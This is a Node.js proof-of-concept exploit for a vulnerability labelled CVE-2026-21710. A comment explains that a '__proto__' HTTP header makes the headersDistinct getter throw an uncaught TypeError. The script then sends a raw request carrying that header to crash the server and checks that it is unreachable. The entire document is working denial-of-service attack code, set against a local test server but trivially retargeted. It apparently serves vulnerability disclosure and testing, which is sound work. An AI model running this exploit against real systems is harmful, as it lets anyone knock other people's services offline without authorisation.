/** * CVE-2026-21710 — Proof of Concept * * Sends a raw HTTP/1.1 request with a `__proto__` header to crash any Node.js * HTTP server that accesses req.headersDistinct. * * Root cause: * In the headersDistinct getter the implementation builds a plain object * (`dest = {}`) and accumulates header values: * * dest[name] = dest[name] || []; * dest[name].push(value); * * When `name` is "__proto__", `dest["__proto__"]` does NOT return undefined — * it returns Object.prototype (a plain object, not an Array). The truthiness * check therefore skips initialisation, and `.push(value)` is called on * Object.prototype, which throws: * * TypeError: dest[name].push is not a function * * Because this is raised synchronously inside a getter, it propagates up * through the http.Server internal machinery without hitting `error` event * listeners, resulting in an uncaughtException that terminates the process * (unless a top-level uncaughtException handler is present). * * Impact: Remote, unauthenticated, zero-interaction DoS (CVSS 7.5 HIGH) * * Usage: * 1. node server.js (in one terminal) * 2. node poc.js (in another terminal) * * Expected outcome: server.js crashes with an uncaught TypeError. */ 'use strict'; const net = require('net'); const TARGET_HOST = '127.0.0.1'; const TARGET_PORT = 3000; // ---- Step 1: send a benign request to confirm the server is up ----------- // function sendRequest(headers, label) { return new Promise((resolve, reject) => { const client = net.createConnection({ host: TARGET_HOST, port: TARGET_PORT }); client.on('connect', () => { const raw = `GET / HTTP/1.1\r\n` + `Host: ${TARGET_HOST}\r\n` + headers.map(([k, v]) => `${k}: ${v}`).join('\r\n') + `\r\nConnection: close\r\n` + `\r\n`; console.log(`\n[>] Sending ${label}:\n${raw.trimEnd()}\n`); client.write(raw); }); const chunks = []; client.on('data', (d) => chunks.push(d)); client.on('end', () => { const response = Buffer.concat(chunks).toString(); console.log(`[<] Response for ${label}:\n${response}`); resolve(response); }); client.on('error', (err) => { // Expected for the malicious request — server may close abruptly if (err.code === 'ECONNRESET' || err.code === 'EPIPE') { console.log(`[!] ${label}: connection reset (server likely crashed)`); resolve(null); } else { reject(err); } }); // Give the server 3 s to respond client.setTimeout(3000, () => { console.log(`[!] ${label}: timeout`); client.destroy(); resolve(null); }); }); } (async () => { console.log('=== CVE-2026-21710 Proof of Concept ===\n'); // ---- Baseline: normal request ----------------------------------------- // console.log('[*] Step 1 — baseline (normal request, server should respond 200)'); await sendRequest([['X-Safe', 'value']], 'Normal request'); // Give the server a moment to recover log output await new Promise((r) => setTimeout(r, 500)); // ---- Exploit: __proto__ header ---------------------------------------- // console.log('[*] Step 2 — exploit (sending __proto__ header)'); await sendRequest([['__proto__', 'CVE-2026-21710']], 'Malicious request (__proto__ header)'); await new Promise((r) => setTimeout(r, 500)); // ---- Confirm crash: try to reach the server after the exploit ---------- // console.log('[*] Step 3 — confirm crash (server should be unreachable now)'); await sendRequest([['X-Safe', 'post-exploit']], 'Post-exploit check'); console.log('\n[*] Done. If Step 3 shows a connection error, the server crashed.'); })();